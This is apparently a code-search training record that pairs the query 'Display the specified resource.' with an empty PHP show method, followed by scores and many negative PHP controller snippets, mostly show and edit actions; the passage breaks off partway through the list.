[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show($id) { }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { $transfer = Transfer::find($id); return view('backend.transfers.edit_transfer', compact('transfer')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 